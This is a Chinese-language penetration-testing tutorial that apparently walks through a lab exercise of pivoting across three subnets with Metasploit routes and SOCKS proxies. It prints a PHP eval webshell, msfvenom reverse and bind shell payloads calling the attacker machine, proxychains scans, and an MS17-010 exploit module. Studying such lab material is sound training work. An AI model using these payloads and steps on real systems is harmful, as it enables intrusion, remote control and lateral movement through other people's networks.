多层网段渗透-真正理解socks代理隧道技术
字数 1482 2025-08-09 19:33:17
多层网段渗透中的SOCKS代理隧道技术详解
环境概述
- 攻击机: Kali Linux (192.168.76.132)
- 目标网络:
- Target1: 192.168.76.148 (Web服务器)
- Target2: 192.168.22.128 (内网服务器)
- Target3: 192.168.33.128 (更深层内网服务器)
渗透流程
第一阶段:攻击Target1
-
漏洞发现与利用:
- 发现Target1使用ThinkPHP v5框架,存在已知RCE漏洞
- 使用公开EXP执行命令:
system("whoami") - 写入Webshell:
file_put_contents('shell.php','<?php @eval($_POST["cmd"]);?>')
-
建立持久化访问:
- 使用蚁剑连接Webshell
- 生成MSF反向shell载荷:
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.76.132 LPORT=4444 -f elf -o t1.elf - 上传并执行载荷:
chmod +x t1.elf && ./t1.elf
-
内网探测:
- 获取网络接口信息发现22网段:
ifconfig - 添加路由(仅在MSF会话中有效):
route add 192.168.22.0 255.255.255.0 1
- 获取网络接口信息发现22网段:
第二阶段:建立SOCKS代理隧道
-
MSF socks代理设置:
use auxiliary/server/socks_proxy set VERSION 4a set SRVPORT 2222 run -
ProxyChains配置:
- 编辑
/etc/proxychains.conf:socks4 192.168.76.132 2222 - 使用代理扫描Target2:
proxychains nmap -sT -Pn 192.168.22.128
- 编辑
-
浏览器代理设置:
- 配置浏览器使用SOCKS4代理: 192.168.76.132:2222
第三阶段:攻击Target2
-
Web应用攻击:
- 发现SQL注入漏洞
- 通过注入获取管理员凭据
- 后台文件上传获取Webshell
-
正向连接建立:
- 生成正向shell载荷:
msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=5555 -f elf -o t2.elf - 在MSF中配置监听:
use exploit/multi/handler set PAYLOAD linux/x64/meterpreter/bind_tcp set RHOST 192.168.22.128 set LPORT 5555 run
- 生成正向shell载荷:
-
路由扩展:
- 添加33网段路由:
route add 192.168.33.0 255.255.255.0 2
- 添加33网段路由:
第四阶段:攻击Target3
- 漏洞利用:
- 发现MS17-010 (永恒之蓝)漏洞
- 使用MSF模块攻击:
use exploit/windows/smb/ms17_010_psexec set RHOST 192.168.33.128 set PAYLOAD windows/x64/meterpreter/bind_tcp run
关键技术详解
1. 路由与代理的区别
- MSF路由: 仅在MSF会话中有效,其他工具无法使用
- SOCKS代理: 全局可用,所有支持代理的工具均可使用
2. 代理工具选择
-
ProxyChains:
- 适用于Linux命令行工具
- 配置简单,支持多种代理协议
-
SocksCap64:
- Windows平台工具
- 可强制应用程序通过SOCKS代理通信
- 无需应用程序本身支持代理设置
3. 连接方向选择
-
反向连接(Reverse):
- 目标主动连接攻击者
- 适用于目标可出网的情况
- 示例:
reverse_tcp
-
正向连接(Bind):
- 攻击者主动连接目标
- 适用于目标不可出网但可被访问的情况
- 示例:
bind_tcp
4. 多层代理配置
-
蚁剑代理设置:
- 必须确保代理服务器(Target1)已正确配置路由
- 代理类型必须与建立的代理服务一致(SOCKS4/5)
-
工具链代理:
- 对于不支持代理的工具,使用SocksCap64等中间件
- 确保代理链的每一跳都正确配置
常见问题解决方案
1. 代理无法工作
- 检查代理类型是否匹配(SOCKS4/5/HTTP)
- 验证路由是否在代理服务器上正确配置
- 检查防火墙规则是否阻止代理端口
2. 工具不支持代理
- 使用SocksCap64(Windows)或proxychains(Linux)包装
- 考虑使用支持代理的替代工具
- 在跳板机上安装本地代理服务
3. 权限问题
- Webshell权限不足时尝试提权
- 使用
chmod +x赋予执行权限 - 考虑使用其他持久化方法(如cronjob)
总结流程图
Kali Linux
│
↓ (反向连接)
Target1 (192.168.76.148)
│
↓ (SOCKS代理)
Target2 (192.168.22.128)
│
↓ (正向连接)
Target3 (192.168.33.128)
关键点:
- 正确理解路由和代理的区别及应用场景
- 根据网络环境选择合适的连接方向
- 灵活运用各种代理工具应对不同情况
- 每层渗透后彻底探测网络环境
- 保持清晰的渗透路径记录